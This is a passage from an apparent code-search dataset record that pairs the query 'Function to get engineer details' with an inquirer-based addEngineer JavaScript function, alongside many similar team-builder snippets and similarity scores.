document.getElementById(\"last\").value,\n document.getElementById(\"age\").value,\n document.getElementById(\"gender\").value,\n document.getElementById(\"rank\").value,\n document.getElementById(\"role\").value,\n document.getElementById(\"id\").value);\n\n //Display\n document.getElementById(\"OutputObjCreation\").innerHTML = teamMember.greeting();\n\n}", "function createManager({ name, emailID, employeeId, officeNumber }) {\n const manager = new Manager(name, \"Manager\", emailID, employeeId, officeNumber)\n teamMembers.push(manager)\n buildTeam();\n}", "addPlayer(no,firstName,lastName,pos,bat,thw,age,ht,wt,birthplace) {\n let player = {\n No: no,\n firstName: firstName,\n lastName: lastName,\n POS: pos,\n BAT: bat,\n THW: thw,\n AGE: age,\n HT: ht,\n WT: wt,\n birthPlace: birthplace\n };\n //add the each of new player in the list.\n this._players.push(player);\n }", "function addEngineer() {\n inquirer.prompt([\n {\n type: \"input\", name: \"engineerName\", message: \"Enter Engineer's Name\"\n\n },\n {\n\n type: \"input\", name: \"engineerId\", message: \"Enter ID\"\n\n },\n\n {\n type: \"input\", name: \"engineerEmail\", message: \"Enter Engineer's Email Address\"\n\n },\n\n {\n type: \"input\", name: \"engineerGithub\", message: \"Enter Engineer's Github Username\"\n\n }\n\n\n ])\n\n .then(response => {\n let engineer = new Engineer(response.engineerName, response.engineerId, response.engineerEmail, response.engineerGithub)\n members.push(engineer);\n createTeam();\n\n\n\n }\n )\n}", "function addMember() {\n if(domProjectName.innerHTML != \"<strong>New project</strong>\" && domSetMemberInput.value != \"Add member\") {\n \n var optionField = document.createElement(\"option\");\n var optionFieldAssign = document.createElement(\"option\");\n var optionFieldValue = document.createTextNode(domSetMemberInput.value);\n var optionFieldValueAssign = document.createTextNode(domSetMemberInput.value);\n optionField.appendChild(optionFieldValue);\n optionFieldAssign.appendChild(optionFieldValueAssign);\n domSetMemberOutput.appendChild(optionField); \n document.getElementById(\"boxAssignMembersContent21\").appendChild(optionFieldAssign); \n domMemberAddedFeedback.style.visibility = \"visible\";\n \n } else if(domProjectName.innerHTML != \"<strong>New project</strong>\" && domSetMemberInput.value == \"Add member\"){\n alert(\"You can not add a member without a name.\");\n } else if(domProjectName.innerHTML == \"<strong>New project</strong>\" && domSetMemberInput.value != \"Add member\"){\n alert(\"You can not add a member to a project that does not exist.\");\n } else if(domProjectName.innerHTML == \"<strong>New project</strong>\" && domSetMemberInput.value == \"Add member\"){\n alert(\"You are either trying to add a member to a project that does not exist, or a member without a name\");\n }\n}", "function _addHero(hero, team){\n if(team.length < 5 && _alreadySelected(hero)){\n team.push(hero);\n } else {\n console.log(\"Error: Failed to add \" + hero + \" to team\");\n }\n}", "function addFriend (){\n\n}", "function buildTeam(){\n const teamMembers = [];\n const managerQs = [\n {\n type: \"input\",\n name: \"name\",\n message: \"What is the managers name?\"\n },\n {\n type: \"input\",\n name: \"id\",\n message: \"What is the managers ID#?\"\n },\n {\n type: \"input\",\n name: \"email\",\n message: \"What is the managers email address?\"\n },\n {\n type: \"input\",\n name: \"officeNumber\",\n message: \"What is the managers office number?\"\n }\n ]\n const engineerQs = [\n {\n type: \"input\",\n name: \"name\",\n message: \"What is the engineers name?\"\n },\n {\n type: \"imput\",\n name: \"id\",\n message: \"What is the engineers ID#?\"\n },\n {\n type: \"input\",\n name: \"email\",\n message: \"What is the engineers email address?\"\n },\n {\n type: \"input\",\n name: \"github\",\n message: \"What is the engineers GitHub username?\"\n }\n ]\n const internQs = [\n {\n type: \"input\",\n name: \"name\",\n message: \"What is the interns name?\"\n },\n {\n type: \"imput\",\n name: \"id\",\n message: \"What is the interns ID#?\"\n },\n {\n type: \"input\",\n name: \"email\",\n message: \"What is the interns email address?\"\n },\n {\n type: \"input\",\n name: \"school\",\n message: \"What school does the intern attend?\"\n }\n ]\n \n //prompt user to add an employee (choose manager, engineer, or intern) or not\n \n function questionUser() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"builder\",\n message: \"Would you like to add a team member?\",\n choices: [\"Manager\", \"Engineer\", \"Intern\", \"No\"]\n }\n ]).then((response) => {\n //console.log(response.builder)\n //if Manager is selected, run the addManager function\n if (response.builder === \"Manager\") {\n //console.log(\"this works\")\n addManager();\n }\n //if Engineer is selected, run the addEngineer function\n else if (response.builder === \"Engineer\") {\n addEngineer();\n }\n //if Intern is selected, run the addIntern function\n else if (response.builder === \"Intern\") {\n addIntern();\n }\n //if No is selected, assuming the team is complete, render the HTML page\n else if (response.builder === \"No\") {\n //console.log(\"once user selects No\", teamMembers);\n buildHTML();\n }\n })\n }\n // and to create objects for each team member (using the correct classes as blueprints!)\n //addManager function should use the managerQs to prompt the user, then push the new Manager to the array, then run \n function addManager() {\n inquirer.prompt(managerQs).then((answers) => {\n const manager = new Manager(answers.name, answers.id, answers.email, answers.officeNumber)\n teamMembers.push(manager);\n questionUser();\n })\n }\n \n function addEngineer(){\n inquirer.prompt(engineerQs).then((answers) => {\n const engineer = new Engineer(answers.name, answers.id, answers.email, answers.github);\n teamMembers.push(engineer);\n questionUser();\n })\n }\n \n function addIntern() {\n inquirer.prompt(internQs).then((answers) => {\n const intern = new Intern(answers.name, answers.id, answers.email, answers.school);\n teamMembers.push(intern);\n questionUser();\n })\n }\n //\n function buildHTML () {\n fs.writeFile(outputPath, render(teamMembers), {}, (err) => {\n if (err) {\n console.log(err);\n return;\n } \n console.log(\"You have successfully built your team!\")\n });\n }\n questionUser();\n}", "function createTeam()\n{\n //calls the validation function from validate.js. if it doesn't return any errors, it continues to the next step\n let isokay = validateTeam();\n if (isokay == false)\n {\n return;\n }\n\n //this is the post request to add the team into the array of teams\n $.post(\"/api/teams\", $(\"#newteamForm\").serialize(), function(data)\n {\n data = JSON.parse(data);\n \n $(\"#errorMessages\").empty();\n $(\"#msgDiv\").html(\"We're glad you're here!\");\n $(\"#makeTeam\").hide();\n $(\"#cancel\").hide();\n $(\"#backToSearch\").show();\n $(\"#toTeamDetails\").show();\n $(\"#backToSearch\").prop(\"href\", \"search.html\");\n $(\"#toTeamDetails\").prop(\"href\", \"details.html?teamId=\" + data.TeamId);\n })\n}", "function addIntern() {\n inquirer.prompt([\n {\n type: \"input\",\n name: \"name\",\n message: \"What is your intern's name?\",\n },\n {\n type: \"input\",\n name: \"id\",\n message: \"What is your intern's id?\",\n },\n {\n type: \"input\",\n name: \"email\",\n message: \"What is your intern's email?\",\n },\n {\n type: \"input\",\n name: \"school\",\n message: \"What is your intern's school?\",\n }]).then(answers => {\n const intern = new Intern(answers.name, answers.id, answers.email, answers.school) \n teamMembers.push(intern);\n generateInternHTML(intern);\n createTeam();\n\n }) \n \n }", "function displayTeamMember(person, teamContainer) {\r\n const p = document.createElement(\"p\");\r\n p.innerHTML = person.firstName + \" \" + person.lastName + \" \" + howOldwhenjoined(person);\r\n teamContainer.appendChild(p);\r\n}", "function addManager() {\n inquirer.prompt([\n {\n type: \"input\", name: \"managerName\", message: \"Enter Manager's Name\"\n\n },\n {\n\n type: \"input\", name: \"managerId\", message: \"Enter ID\"\n\n },\n\n {\n type: \"input\", name: \"managerEmail\", message: \"Enter Manager's Email Address\"\n\n },\n\n {\n type: \"input\", name: \"managerNumber\", message: \"Enter Manager's Office Number\"\n\n }\n\n\n ])\n\n .then(response => {\n let manager = new Manager(response.managerName, response.managerId, response.managerEmail, response.managerNumber)\n members.push(manager);\n //this is a check to see if the data is pushing to array as intended\n console.log(members);\n //this has to be here to keep rerunning the function; otherwise it will only have one iteration. This will be at the end of all three role functions\n createTeam()\n\n\n\n }\n )\n}", "function addEngineer() {\n inquirer.prompt([\n {\n type: 'input',\n name: 'name',\n message: 'What is your engineers name?',\n validate: answer => {\n if (answer) {\n return true;\n } else {\n console.log('Please enter your engineers name!');\n return false;\n }\n }\n },\n {\n type: 'number',\n name: 'id',\n message: 'What is your engineers ID number?',\n validate: answer => {\n if (answer) {\n return true;\n } else {\n console.log('Please enter your engineers ID number!');\n return false;\n }\n }\n },\n {\n type: 'input',\n name: 'email',\n message: 'What is your engineers email?',\n validate: answer => {\n if (answer) {\n return true;\n } else {\n console.log('Please enter your managers email!');\n return false;\n }\n }\n },\n {\n type: 'input',\n name: 'github',\n message: 'What is your engineers GitHub username?',\n validate: answer => {\n if (answer) {\n return true;\n } else {\n console.log('Please enter your engineers GitHub username!');\n return false;\n }\n }\n },\n ]).then(data => {\n const name = data.name;\n const id = data.id;\n const email = data.email;\n const github = data.github;\n const engineer = new Engineer(name, id, email, github)\n teamArr.push(engineer);\n console.log(teamArr)\n teamMembers()\n })\n}", "function addEventMember(eventId, memberIndex) {\n var memberName = flashTeamsJSON[\"members\"][memberIndex].role;\n console.log(\"Adding member \", memberName);\n //Update JSON\n var indexOfEvent = getEventJSONIndex(eventId);\n flashTeamsJSON[\"events\"][indexOfEvent].members.push(memberName);\n var numMembers = flashTeamsJSON[\"events\"][indexOfEvent].members.length;\n\n //Grab color of member\n var newColor;\n for (i = 0; i < flashTeamsJSON[\"members\"].length; i++) {\n if (flashTeamsJSON[\"members\"][i].role == memberName) newColor = flashTeamsJSON[\"members\"][i].color;\n }\n\n //Add new line to represent member\n var group = $(\"#rect_\" + eventId)[0].parentNode;\n var thisGroup = d3.select(group);\n thisGroup.append(\"rect\")\n .attr(\"class\", \"member_line\")\n .attr(\"id\", function(d) {\n return \"event_\" + eventId + \"_eventMemLine_\" + numMembers;\n })\n .attr(\"x\", function(d) {\n return parseInt($(\"#rect_\" + eventId).attr(\"x\")) + 8;})\n .attr(\"y\", function(d) {\n return parseInt($(\"#rect_\" + eventId).attr(\"y\")) + 40 + ((numMembers-1)*8);})\n .attr(\"groupNum\", eventId)\n .attr(\"height\", 5)\n .attr(\"width\", function(d) {\n return parseInt($(\"#rect_\" + eventId).attr(\"width\")) - 8;})\n .attr(\"fill\", newColor)\n .attr(\"fill-opacity\", .9);\n}", "async addMember(ctx, email, name, address, phoneNumber) {\n let member = {\n name: name,\n address: address,\n number: phoneNumber,\n email: email\n };\n await ctx.stub.putState(email, Buffer.from(JSON.stringify(member)));\n return JSON.stringify(member);\n }", "function anotherMember() {\n inquirer\n .prompt([\n {\n type: 'list',\n message: 'Would you like to add another team member?',\n choices: ['Manager', 'Engineer', 'Intern', 'None'],\n name: 'type',\n },\n ])\n .then((response) => {\n switch (response.type) {\n case 'Manager':\n managerQs();\n break;\n case 'Engineer':\n engineerQs();\n break;\n case 'Intern':\n internQs();\n break;\n default:\n generateHTML();\n break;\n }\n });\n}", "function newObjects(person,choice) {\n let addToTeam;\n switch (choice) {\n case 'Manager':\n addToTeam = new Manager(person.name,person.id,person.email,person.office);\n break;\n case 'Intern':\n addToTeam = new Intern(person.name,person.id,person.email,person.school)\n break;\n case 'Engineer':\n addToTeam = new Engineer(person.name,person.id,person.email,person.github)\n break;\n }\n teamMembers.push(addToTeam)\n newMemberChoice();\n}", "function addMember(){\n // Getting data\n let age = parseInt(document.getElementsByName(\"age\")[0].value, 10);\n let relElem = document.getElementsByName(\"rel\")[0];\n let relationship = relElem.options[relElem.selectedIndex].value;\n let smoker = document.getElementsByName(\"smoker\")[0].checked;\n\n // Checking requirements\n if (age < 0 || Number.isInteger(age) === false) age = null;\n if (relationship === \"\") relationship = null;\n\n // If requirements are fulfilled, add member\n if (age != null && relationship != null) {\n const member = new Member(age, relationship, smoker);\n console.log(\"new member added\");\n householdMembers.unshift(member);\n }\n\n // Reset form and reload household members\n document.getElementsByName(\"age\")[0].value = \"\";\n document.getElementsByName(\"rel\")[0].value = \"\";\n document.getElementsByName(\"smoker\")[0].checked = false;\n reloadMembers();\n}", "function addUser() {\n }", "function addManager() {\n inquirer.prompt(managerQs).then((answers) => {\n const manager = new Manager(answers.name, answers.id, answers.email, answers.officeNumber)\n teamMembers.push(manager);\n questionUser();\n })\n }", "function add_all_members(members, acc_owner) {\n\tvar users = g_members.split(\"&#39;\");\n\t// Removes the [] parantheses.\n\tusers.splice(0, 1);\n\tusers.pop();\n\n\t// Removes all comma values.\n\tfor (var i = users.length - 1; i--;) {\n\t\tif (users[i].match(\",\")) users.splice(i, 1);\n\t}\n\n\tfor (var i = 0; i < users.length; i++) {\n\t\tconsole.log(users[i]);\n\t\tconsole.log(acc_owner);\n\t\tif(users[i] == acc_owner) {\n\t\t\tvar list = document.createElement(\"li\");\n\t\t\tvar textnode = document.createTextNode(users[i]);\n\t\t\tvar ul_len = document.getElementById(members).childNodes.length;\n\t\t\n\t\t\t// create input element\n\t\t\tvar input = document.createElement(\"input\");\n\t\t\tinput.setAttribute(\"type\", \"hidden\");\n\t\t\tinput.setAttribute(\"name\", members + ul_len);\n\t\t\tinput.setAttribute(\"id\", members + ul_len);\n\t\t\tinput.setAttribute(\"value\", users[i]);\n\t\t\tlist.appendChild(input);\n\t\t\tlist.appendChild(textnode);\n\t\t\tlist.setAttribute('class', 'pr-5');\n\t\t\tdocument.getElementById(members).appendChild(list);\n\t\t} else {\n\t\t\tadd(users[i], members)\n\t\t}\t\n\t}\n\n}", "function addColleague(obj, datum, name) {\n //var colleague = datum.avatar;\n\n if ($(this).closest('.gcconnex-work-experience-entry').find(\"[data-guid=\" + datum.guid + \"]\") && $(this).closest('.gcconnex-work-experience-entry').find(\"[data-guid=\" + datum.guid + \"]\").is(\":hidden\")) {\n $(this).closest('.gcconnex-work-experience-entry').find(\"[data-guid=\" + datum.guid + \"]\").show();\n }\n else {\n $(this).closest('.gcconnex-work-experience-entry').find('.list-avatars').append(\n '<div class=\"gcconnex-avatar-in-list temporarily-added\" data-guid=\"' + datum.guid + '\" onclick=\"removeColleague(this)\">' +\n '<div class=\"remove-colleague-from-list\">X</div>' + datum.avatar + '</div>'\n );\n }\n $('.userfind').typeahead('val', ''); // clear the typeahead box\n // remove colleague from suggestible usernames list\n}", "function createTeam(context) {\n const hasTeam = sessionStorage.getItem('teamId') !== 'undefined';\n const username = sessionStorage.getItem('username');\n\n if (!hasTeam) {\n const name = this.params.name;\n const comment = this.params.comment;\n\n if (name.trim() === ''){\n auth.showError(`Team name cannot be empty`);\n return;\n }\n\n teamsService.createTeam(name, comment)\n .then(function (response) {\n auth.showInfo(`Team ${name} was successfully created!`);\n const teamId = response._id;\n\n teamsService.joinTeam(teamId)\n .then(function (res) {\n auth.saveSession(res);\n context.redirect('#/catalog');\n });\n }).catch(auth.handleError);\n } else {\n auth.showError(`Can't create a team, unless you leaves your's one!`);\n }\n }", "function createTeam(e) {\n e.preventDefault()\n API.createNewTeam(team)\n .then(res => window.location.reload())\n .catch(err => console.log(err))\n }", "addTeammate(req, res) {\n Assembly.findById({ _id: req.params.id })\n .then((assembly) => {\n // create teammate\n let newTeammate = new Teammate(req.body); \n // push teammate\n assembly.team.push(newTeammate); \n // save teammate\n assembly.save() \n .then((data) => {\n res.json(data);\n })\n .catch((err) => {\n res.status(400).json(err);\n })\n })\n .catch(err => res.status(400).json(err))\n }", "function createParticipants() {\n getRolesAndThen(createParticipantsFromRoles);\n}", "function CreateOneTeam(players) {\n\t\tvar team = [];\n\t\tteam.push(new teamObj(0, players, \"Singular\", 1));\n\t\treturn team;\n\t}", "function addTeam(content) {\n team = getAllTeam()\n team.push(content)\n sessionStorage.setItem('team', JSON.stringify(team))\n}", "function addMember() {\n var newposition = $(\"#member\").val();\n var params = {\n \"member\": newposition\n };\n submitAJAX(\"newmem\", params, showMemresult);\n}", "addNew() {\n this.props.addMember();\n this.toggleCircle(document.getElementById('new-member-circle'));\n this.toggleFormDisplay();\n }", "async createTeam(req, res, next) {\n\n try {\n const team = await Team.create({\n name: req.body.name\n });\n\n res.locals.createdTeam = team;\n return next();\n\n } catch (error) {\n return next(error);\n }\n }", "function loadTeams() {\n\tvar team1 = new Team(\"LSU\", \"LSU\", \"Baton Rouge\", \"LA\", \"SEC\"); \n\t_teams.push(team1); \n}", "updateTeams(picks){\n this.teams = [];\n for(var team in picks){\n var t = new LeagueTeam(team, picks[team]);\n this.teams.push(t);\n }\n }", "function addMember() {\n inquirer.prompt([{\n message: \"Enter team member's name\",\n name: \"name\"\n },\n {\n type: \"list\",\n message: \"Select members role\",\n choices: [\n \"Engineer\",\n \"Intern\",\n \"Manager\"\n ],\n name: \"role\"\n },\n {\n message: \"Enter team members id\",\n name: \"id\"\n },\n {\n message: \"Enter team members email\",\n name: \"email\"\n }])\n .then(function({name, role, id, email}) {\n let roleInfo = \"\";\n if (role === \"Engineer\") {\n roleInfo = \"GitHub username\";\n } else if (role === \"Intern\") {\n roleInfo = \"school name\";\n } else {\n roleInfo = \"office phone number\";\n }\n inquirer.prompt([{\n message: `Enter team members ${roleInfo}`,\n name: \"roleInfo\"\n },\n {\n type: \"list\",\n message: \"Enter more members if needed?\",\n choices: [\n \"yes\",\n \"no\"\n ],\n name: \"more\"\n }])\n .then(function({roleInfo, moreMembers}) {\n let newMember;\n if (role === \"Engineer\") {\n newMember = new Engineer(name, id, email, roleInfo);\n } else if (role === \"Intern\") {\n newMember = new Intern(name, id, email, roleInfo);\n } else {\n newMember = new Manager(name, id, email, roleInfo);\n }\n teamArray.push(newMember);\n addHtml(newMember)\n .then(function() {\n if (moreMembers === \"yes\") {\n addMember();\n } else {\n finishHtml();\n }\n });\n \n });\n });\n}", "function insertTeam(team) {\n // adds it to the team page with NUMBER, NAME, and ENTER BTN\n $(\".teams-body\").append(`\n <tr>\n <td>` + team + `</td>\n <td>` + team_id_to_name[team] + `</td>\n <td><button name=\"` + team + `\" class=\"btn btn-success team-btn team` + team + `\">Enter &#8594</button></td>\n </tr>\n `);\n // if ENTER BTN is pressed, switch to that team's page\n $(\".team\" + team).click(function() {\n switchPages(\"team\", team, undefined, 1)\n });\n // this team is fully loaded, prepping sortTable()\n loaded_teams += 1;\n}", "async addToMatchups( tournamentId, { name } ) {\n\treturn new Promise((resolve, reject) => {\n\t\tthis.find(tournamentId).then(tournament => {\n\t\t new MatchupAPI({store: this.store}).add( { name } ).then(matchup => {\n\t\t \ttournament.addToMatchups(tournament).then(() => {\n\t\t\t resolve( tournament );\n\t\t\t\t})\n\t\t })\n\t\t})\n\t});\n }", "addPlayer(firstName, lastName, age) {\n let player = {\n firstName: firstName,\n lastName: lastName,\n age: age\n }\n this.players.push(player);\n }", "function newTeam() {\n inquirer.prompt([\n {\n type: \"input\",\n name: \"teamName\",\n message: \"What is the name of your team?\",\n }\n ])\n .then(function (data) {\n const name = data.teamName;\n team.push(name);\n newManager();\n })\n}" ]
[ "0.80603766", "0.79902756", "0.73003834", "0.7254207", "0.69769335", "0.6861736", "0.6766752", "0.6666147", "0.6665871", "0.6630736", "0.66281736", "0.6625021", "0.65802217", "0.6531117", "0.6504692", "0.64821076", "0.6471715", "0.6400607", "0.6380161", "0.63734514", "0.6365281", "0.63632804", "0.6358586", "0.6356618", "0.6353881", "0.6339822", "0.6334257", "0.62599534", "0.62499636", "0.6209869", "0.6195469", "0.6174151", "0.6170467", "0.61438984", "0.6125511", "0.60839623", "0.60796285", "0.60773146", "0.605881", "0.60397357", "0.6021407", "0.601008", "0.60017973", "0.59914106", "0.59557325", "0.5946698", "0.5937481", "0.5936495", "0.5919291", "0.5887822", "0.5856399", "0.58520955", "0.582681", "0.5814934", "0.5796947", "0.5792867", "0.5791297", "0.57799536", "0.57760316", "0.5774725", "0.57721484", "0.57631063", "0.5750511", "0.57495826", "0.57354444", "0.5727293", "0.5723278", "0.5713648", "0.57103884", "0.5702248", "0.5689674", "0.56819993", "0.5679453", "0.5676062", "0.566859", "0.5644888", "0.56370413", "0.56310296", "0.5630452", "0.5628018", "0.5622041", "0.5620403", "0.5610252", "0.5600987", "0.5600504", "0.5599051", "0.5598012", "0.55972075", "0.55948824", "0.55861646", "0.5581842", "0.5579858", "0.5577598", "0.5568061", "0.5563673", "0.55636007", "0.5557239", "0.5551084", "0.5549777", "0.55488765" ]
0.73534966
2
Function to get engineer details
function addEngineer() { inquirer.prompt([ { type: 'input', name: 'name', message: 'What is your engineers name?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your engineers name!'); return false; } } }, { type: 'number', name: 'id', message: 'What is your engineers ID number?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your engineers ID number!'); return false; } } }, { type: 'input', name: 'email', message: 'What is your engineers email?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your managers email!'); return false; } } }, { type: 'input', name: 'github', message: 'What is your engineers GitHub username?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your engineers GitHub username!'); return false; } } }, ]).then(data => { const name = data.name; const id = data.id; const email = data.email; const github = data.github; const engineer = new Engineer(name, id, email, github) teamArr.push(engineer); console.log(teamArr) teamMembers() }) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function EngineerInfo() {\n inquirer.prompt(engineerQues).then(function (data) {\n const engineer = new Engineer(\n data.name,\n employeeID,\n data.email,\n data.github\n );\n employeeID++;\n employeeList.push(engineer);\n checkEmployeeType(data.type);\n });\n}", "function engineerInfo() {\n inquirer.prompt(engineerQuestions).then((response) => {\n const newEng = new Engineer(\n response.name,\n response.id,\n response.email,\n response.github\n );\n employees.push(newEng);\n employeeSelect();\n });\n}", "getHtmlEngineerDetails(id, email, gitHub) {\n return `\n <ul>\n <li>Employee #: ${id}</li>\n <li>Email: <a href=\"mailto: ${email}\">${email}</a></li>\n <li>GitHub: <a href=\"https://github.com/${gitHub}/ \" target=\"_blank \">${gitHub}</a></li>\n </ul>`;\n }", "function queryEmployeeInfo() {\n employeeInfo = {};\n var employeeSearch = search.create({\n type: search.Type.EMPLOYEE,\n filters: [\n helper.filter('giveaccess').is('T'),\n helper.filter('isinactive').is('F')\n ],\n columns: [\n helper.column('firstname').create(),\n helper.column('middlename').create(),\n helper.column('lastname').create()\n ]\n });\n var results = helper.resultset(employeeSearch.run());\n for ( var index in results) {\n var result = results[index];\n employeeInfo[result.id] = formatUserName(result.getValue(helper.column('firstname')), result.getValue(helper.column('middlename')), result.getValue(helper.column('lastname')));\n }\n }", "function getEmployerByAuthUser(req, res) {\n if (req.user.user_type !== 'recruiter') {\n res.status(401).json({\n \"message\": response.onlyRecruiters\n });\n } else {\n User.findById(req.user._id).exec( function(err, user){\n if (err)\n return res.send(err);\n Employer.findById(user.employer_id).exec( function(err, employer){\n if (err)\n return res.send(err);\n res.status(200).json(employer);\n });\n });\n\n }\n}", "function addEngineer() {\n inquirer.prompt(engineerQuestions)\n .then (response => {\n const teamMemberEngineer = new Engineer (response.name, response.id, response.email, response.github);\n employees.push(teamMemberEngineer);\n generateNewTeamMember();\n })\n}", "function engineer() {\n inquirer.prompt([\n \n {\n type: \"input\",\n name: \"engineerName\",\n message: \"Please enter the name of the Engineer.\"\n },\n {\n type: \"input\",\n name: \"engineerId\",\n message: \"Please enter the ID of the Engineer.\"\n },\n {\n type: \"input\",\n name: \"engineerEmail\",\n message: \"Please enter the Email of the Engineer.\"\n },\n {\n type: \"input\",\n name: \"engineerGithub\",\n message: \"Please enter the Github url of the Engineer.\"\n }\n ])\n .then(function(data) {\n const engineer = new Engineer(data.engineerName, data.engineerId, data.engineerEmail,data.engineerGithub);\n fullTeam.push(engineer);\n emptyId.push(data.engineerId);\n team();\n });\n}", "function getEngineData () {\n Vehicle.getAllEngines(vm.missionID)\n .then(function (engineData) {\n for (var i = 0; i < engineData.length; i++) {\n var engine = engineData[i];\n if (engine.stage_num === 1) {\n vm.engines.stage1[engine.engine_num] = engine;\n } else if (engine.stage_num === 2) {\n vm.engines.stage2[engine.engine_num] = engine;\n }\n }\n console.log(vm.engines);\n });\n }", "function getPlayerDetails() {\r\n\tgetJob();\r\n\tgetLevel();\r\n\tcreateStats(playerDetails.job, playerDetails.level);\r\n\tgetName();\r\n\tgetRace();\r\n\tgetGender();\r\n\tgetDefense();\r\n\tgetExp();\r\n}", "function engineerData() {\n return inquirer\n .prompt([\n {\n name: \"name\",\n message: \"Enter your name:\",\n type: \"input\",\n },\n {\n name: \"id\",\n message: \"Enter your ID:\",\n type: \"input\",\n },\n {\n name: \"email\",\n message: \"Enter your email:\",\n type: \"input\",\n },\n {\n name: \"github\",\n message: \"Please enter the engineer's github username:\",\n type: \"input\",\n },\n ])\n .then(function (answers) {\n const engineerObj = new Engineer(\n answers.name,\n answers.id,\n answers.email,\n answers.github\n );\n employeeArray.push(engineerObj);\n })\n .catch(function (err) {\n console.log(err);\n });\n}", "function getEmployerById(req, res) {\n Employer.findById(req.params.id).exec(function (err, employer) {\n if (err)\n return res.send(err);\n res.status(200).json(employer);\n });\n}", "function getHelicopterDetails () {\n helicopterDetailedService.helicopter(vm.id).then(function successCallback(response) {\n vm.data = response.data;\n vm.getOneRevenue();\n //First function handles success\n }, function errorCallback(response) {\n //Second function handles error\n vm.helicopter = 'An error has occured';\n });\n }", "function generateEngineerHTML(engineer) {\n \n const engineerName = engineer.getName();\n const engineerRole = engineer.getRole();\n const engineerId = engineer.getID();\n const engineerEmail = engineer.getEmail();\n const engineerGitHub = engineer.getGitHub();\n\n let engineerHTML = `\n <div class=\"card text-white bg-dark mb-3 engineer\" style=\"max-width: 18rem;\">\n <h2 class=\"card-header\">${engineerName}</h2>\n <h3 class=\"card-header\">${engineerRole}</h3>\n <div class=\"card-body\">\n <h4 class=\"card-title\">ID: ${engineerId}</h4>\n <h4 class=\"card-title\">Email: <a href=\"mailto:${engineerEmail}\">${engineerEmail}</a></h4>\n <h4 class=\"card-title\">GitHub: <a href=\"http://github.com/${engineerGitHub}\" target=\"_blank\">${engineerGitHub}</a></h4>\n </div>\n </div>\n`\n // Adds engineerHTML to final HTML\n finalHTML += engineerHTML; \n}", "function addEngineer() {\n inquirer.prompt(engineerQuestions).then(response => {\n let engineer = new Engineer(\n response.nameOfEngineer,\n response.idOfEngineer,\n response.emailOfEngineer,\n response.githubOfEngineer\n );\n // Push manager to team array\n team.push(engineer);\n // Calls function employeeOption()\n employeeOption();\n });\n }", "function getResearcherDetails(researcher) {\n let vals, resources;\n switch (researcher.ModType) {\n case \"GenManagerAndSpeedMult\":\n vals = [researcher.ExpoMultiplier * researcher.ExpoGrowth,\n researcher.ExpoMultiplier * researcher.ExpoGrowth * researcher.ExpoGrowth,\n researcher.ExpoMultiplier * researcher.ExpoGrowth * researcher.ExpoGrowth * researcher.ExpoGrowth];\n return `Speeds up ${resourceName(researcher.TargetIds[0])} by ${vals[0]}x/${vals[1]}x/${vals[2]}x/...`;\n break;\n \n case \"TradePayoutMultiplier\":\n vals = [researcher.ExpoMultiplier * researcher.ExpoGrowth,\n researcher.ExpoMultiplier * researcher.ExpoGrowth * researcher.ExpoGrowth,\n researcher.ExpoMultiplier * researcher.ExpoGrowth * researcher.ExpoGrowth * researcher.ExpoGrowth];\n resources = researcher.TargetIds[0].split(/, ?/).map(res => resourceName(res));\n if (resources.length == getData().Industries.length) {\n return `All trades grant ${vals[0]}x/${vals[1]}x/${vals[2]}x/... comrades`;\n } else {\n return `Trading ${resources.join('/')} grants ${vals[0]}x/${vals[1]}x/${vals[2]}x/... comrades`;\n }\n break;\n \n case \"GeneratorPayoutMultiplier\":\n vals = [researcher.ExpoMultiplier * researcher.ExpoGrowth,\n researcher.ExpoMultiplier * researcher.ExpoGrowth * researcher.ExpoGrowth,\n researcher.ExpoMultiplier * researcher.ExpoGrowth * researcher.ExpoGrowth * researcher.ExpoGrowth];\n // This is either a multiplier to a single generator (like \"Farmer\") or a set of industries (\"Farming,Landwork,Mining\")\n resources = getData().Resources.find(r => r.Id == researcher.TargetIds[0].toLowerCase());\n if (resources) {\n return `Multiplies output of ${resourceName(resources.Id)} by ${vals[0]}x/${vals[1]}x/${vals[2]}x/...`;\n } else {\n resources = researcher.TargetIds[0].split(/, ?/).map(ind => resourceName(getResourceByIndustry(ind).Id));\n if (resources.length == getData().Industries.length) {\n return `Multiplies output of all generators by ${vals[0]}x/${vals[1]}x/${vals[2]}x/...`;\n } else {\n return `Multiplies output of every ${resources.join('/')}-industry generator by ${vals[0]}x/${vals[1]}x/${vals[2]}x/...`;\n }\n }\n break;\n \n case \"GeneratorCritChance\":\n vals = [researcher.BasePower + 1 * researcher.CurveModifier + 1 * researcher.UpgradePower,\n researcher.BasePower + 2 * researcher.CurveModifier + 4 * researcher.UpgradePower,\n researcher.BasePower + 3 * researcher.CurveModifier + 9 * researcher.UpgradePower];\n vals = vals.map(v => `${+(v * 100).toFixed(2)}%`);\n resources = researcher.TargetIds[0].split(/, ?/);\n if (resources.length == getData().Industries.length) {\n return `Increases crit chance of all generators by ${vals[0]}/${vals[1]}/${vals[2]}/...`;\n } else {\n resources = resources.map(ind => resourceName(getResourceByIndustry(ind).Id)).join('/');\n return `Increases crit chance of every ${resources}-industry generator by ${vals[0]}/${vals[1]}/${vals[2]}/...`;\n }\n break;\n \n case \"GeneratorCostReduction\":\n // TODO once I implement Motherland\n case \"GeneratorCritPowerMult\":\n // TODO once I implement Motherland\n case \"GachaCardsPayoutMultiplier\":\n // TODO once I implement Motherland\n case \"GachaSciencePayoutMultiplier\":\n // TODO once I implement Motherland\n case \"GachaResourcePayoutMultiplier\":\n // TODO once I implement Motherland\n default:\n return `Unknown researcher ModType ${researcher.ModType}`;\n }\n}", "function getEmployerBySearch(req, res) {\n if (!req.query.name) { //just return list of all employers\n Employer.find( { } ).exec(function (err, employers) {\n if (err)\n return res.send(err);\n res.status(200).json({\n \"employers\": employers\n });\n });\n } else {\n Employer.findOne({name: req.query.name}).exec(function (err, employer) {\n if (err)\n return res.send(err);\n res.status(200).json(employer);\n });\n }\n}", "function hdlClickNewEngineerObj () {\n\tc4s.clearValidate({\n\t\t\t\"client_id\": \"m_engineer_client_id\",\n\t\t\t\"client_name\": \"m_engineer_client_name\",\n\t\t\t\"name\": \"m_engineer_name\",\n\t\t\t\"kana\": \"m_engineer_kana\",\n\t\t\t\"visible_name\": 